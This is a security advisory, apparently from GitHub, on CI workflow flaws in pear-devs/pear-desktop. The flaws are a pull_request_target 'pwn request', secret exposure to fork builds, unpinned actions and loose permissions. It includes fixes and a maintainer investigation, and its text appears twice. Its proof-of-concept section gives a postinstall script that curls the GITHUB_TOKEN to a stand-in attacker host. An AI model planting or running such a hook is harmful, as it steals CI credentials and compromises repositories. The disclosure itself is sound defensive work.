Summary
Multiple GitHub Actions workflow misconfigurations in pear-devs/pear-desktop allowed unauthenticated arbitrary code execution in CI runners. The most critical issue — in reviewdog.yml — allowed any GitHub user to execute code with access to the repository's GITHUB_TOKEN by opening a malicious pull request. Three additional findings affect secret exposure, mutable action references, and missing permission scoping.
Details
Finding 1: Pwn Request — reviewdog.yml (Critical)
File: .github/workflows/reviewdog.yml
Trigger: pull_request_target — fires on every non-draft fork PR
Checkout ref: ${{ github.event.pull_request.head.sha }} — checks out the PR author's fork code
Execution: pnpm install --frozen-lockfile (line ~34) — even with --frozen-lockfile, pnpm executes lifecycle scripts (preinstall, install, postinstall) from the fork's package.json
Permissions: contents:read, pull-requests:write, checks:write (job-level)
Job condition: github.event.pull_request.draft == false — skips drafts only, not a security gate
No fork guard (head.repo.full_name == github.repository), label gate, or environment protection was present.
CVSS 3.1: 8.6 High (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Finding 2: Fork PR Code Execution with Secrets — build.yml (High)
File: .github/workflows/build.yml (line ~22)
Trigger: pull_request — read-only token from forks, but secrets are passed to the build step
Execution: pnpm install — same lifecycle script vector as Finding 1
While the pull_request trigger limits the GITHUB_TOKEN to read-only from forks, secrets were passed to the build step, making them accessible to attacker-controlled lifecycle scripts.
Finding 3: Mutable Action References (Medium)
Multiple workflows referenced third-party actions by semver tag rather than commit SHA. Tags are mutable and can be force-pushed to point at malicious code, as occurred in the tj-actions/changed-files supply chain attack (March 2025).
Affected actions:
pnpm/action-setup@v4
reviewdog/action-eslint@v1.34.0
coactions/setup-xvfb@v1
actions-cool/check-user-permission@v2
vedantmgoyal2009/winget-releaser@main — pinned to main branch (highest risk; every commit to that repo immediately executes in CI)
Finding 4: Missing Workflow-Level Permissions (Medium)
The reviewdog.yml workflow had job-level permissions but no workflow-level permissions: block. Depending on org/repo default settings, other jobs in the workflow may inherit write-all permissions.
PoC (Not Executed)
For Finding 1 (reviewdog.yml):
- Fork
pear-devs/pear-desktop
- Edit
package.json to add a malicious lifecycle script:
{
"scripts": {
"postinstall": "curl -sSfL -X POST --data \"token=$GITHUB_TOKEN\" https://attacker.example.com/exfil"
}
}
- Open a non-draft pull request against
pear-devs/pear-desktop
reviewdog.yml triggers via pull_request_target, checks out the fork code, and runs pnpm install --frozen-lockfile
- The
postinstall script executes with access to:
GITHUB_TOKEN with contents:read, pull-requests:write, checks:write
- All environment variables on the runner
Note: This PoC uses attacker.example.com intentionally. No exploitation was performed.
Impact
- Arbitrary code execution in the GitHub Actions runner on every fork PR (Finding 1)
- GITHUB_TOKEN exfiltration — attacker gains
pull-requests:write and checks:write permissions, enabling PR approval, check manipulation, and comment impersonation (Finding 1)
- Secret exfiltration via lifecycle scripts in fork PRs where secrets are passed to build steps (Finding 2)
- Supply chain risk from mutable third-party action references, particularly
winget-releaser@main (Finding 3)
- Privilege escalation potential from missing workflow-level permission scoping (Finding 4)
Investigation Results
The repository maintainers conducted a post-disclosure investigation and confirmed the following:
- No evidence of actual exploitation was found in GitHub Actions workflow run logs
- Published releases and release artifacts have not been tampered with
- No unauthorized modifications were detected in the repository history
- The identified vulnerabilities remain theoretical risks that have not been exploited in practice
Recommended Fixes
Finding 1 (Critical):
- Switch to the
pull_request trigger for linting — sandboxes fork code with a read-only token and no secret access
- If
pull_request_target is required for comment posting, use a workflow_run pattern where lint results are passed as artifacts to a separate privileged workflow
- If keeping
pull_request_target, add a fork guard: if: github.event.pull_request.head.repo.full_name == github.repository
Finding 2 (High):
- Do not pass secrets to steps that execute attacker-controlled code; separate the build and privileged steps into distinct jobs
Finding 3 (Medium):
- Pin all third-party actions by full 40-character commit SHA; the
vedantmgoyal2009/winget-releaser@main reference is especially urgent
Finding 4 (Medium):
- Add
permissions: {} at the workflow level and scope permissions explicitly on each job
Credit
Identified by Christopher Lusk (@north-echo) using Fluxgate, an open-source GitHub Actions security scanner.
Disclosure protocol: https://github.com/north-echo/fluxgate/blob/main/DISCLOSURE.md
References
Summary
Multiple GitHub Actions workflow misconfigurations in pear-devs/pear-desktop allowed unauthenticated arbitrary code execution in CI runners. The most critical issue — in
reviewdog.yml— allowed any GitHub user to execute code with access to the repository'sGITHUB_TOKENby opening a malicious pull request. Three additional findings affect secret exposure, mutable action references, and missing permission scoping.Details
Finding 1: Pwn Request — reviewdog.yml (Critical)
File:
.github/workflows/reviewdog.ymlTrigger:
pull_request_target— fires on every non-draft fork PRCheckout ref:
${{ github.event.pull_request.head.sha }}— checks out the PR author's fork codeExecution:
pnpm install --frozen-lockfile(line ~34) — even with--frozen-lockfile, pnpm executes lifecycle scripts (preinstall,install,postinstall) from the fork'spackage.jsonPermissions:
contents:read,pull-requests:write,checks:write(job-level)Job condition:
github.event.pull_request.draft == false— skips drafts only, not a security gateNo fork guard (
head.repo.full_name == github.repository), label gate, or environment protection was present.CVSS 3.1: 8.6 High (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Finding 2: Fork PR Code Execution with Secrets — build.yml (High)
File:
.github/workflows/build.yml(line ~22)Trigger:
pull_request— read-only token from forks, but secrets are passed to the build stepExecution:
pnpm install— same lifecycle script vector as Finding 1While the
pull_requesttrigger limits theGITHUB_TOKENto read-only from forks, secrets were passed to the build step, making them accessible to attacker-controlled lifecycle scripts.Finding 3: Mutable Action References (Medium)
Multiple workflows referenced third-party actions by semver tag rather than commit SHA. Tags are mutable and can be force-pushed to point at malicious code, as occurred in the tj-actions/changed-files supply chain attack (March 2025).
Affected actions:
pnpm/action-setup@v4reviewdog/action-eslint@v1.34.0coactions/setup-xvfb@v1actions-cool/check-user-permission@v2vedantmgoyal2009/winget-releaser@main— pinned tomainbranch (highest risk; every commit to that repo immediately executes in CI)Finding 4: Missing Workflow-Level Permissions (Medium)
The
reviewdog.ymlworkflow had job-level permissions but no workflow-levelpermissions:block. Depending on org/repo default settings, other jobs in the workflow may inheritwrite-allpermissions.PoC (Not Executed)
For Finding 1 (reviewdog.yml):
pear-devs/pear-desktoppackage.jsonto add a malicious lifecycle script:{ "scripts": { "postinstall": "curl -sSfL -X POST --data \"token=$GITHUB_TOKEN\" https://attacker.example.com/exfil" } }pear-devs/pear-desktopreviewdog.ymltriggers viapull_request_target, checks out the fork code, and runspnpm install --frozen-lockfilepostinstallscript executes with access to:GITHUB_TOKENwithcontents:read,pull-requests:write,checks:writeNote: This PoC uses
attacker.example.comintentionally. No exploitation was performed.Impact
pull-requests:writeandchecks:writepermissions, enabling PR approval, check manipulation, and comment impersonation (Finding 1)winget-releaser@main(Finding 3)Investigation Results
The repository maintainers conducted a post-disclosure investigation and confirmed the following:
Recommended Fixes
Finding 1 (Critical):
pull_requesttrigger for linting — sandboxes fork code with a read-only token and no secret accesspull_request_targetis required for comment posting, use aworkflow_runpattern where lint results are passed as artifacts to a separate privileged workflowpull_request_target, add a fork guard:if: github.event.pull_request.head.repo.full_name == github.repositoryFinding 2 (High):
Finding 3 (Medium):
vedantmgoyal2009/winget-releaser@mainreference is especially urgentFinding 4 (Medium):
permissions: {}at the workflow level and scope permissions explicitly on each jobCredit
Identified by Christopher Lusk (@north-echo) using Fluxgate, an open-source GitHub Actions security scanner.
Disclosure protocol: https://github.com/north-echo/fluxgate/blob/main/DISCLOSURE.md
References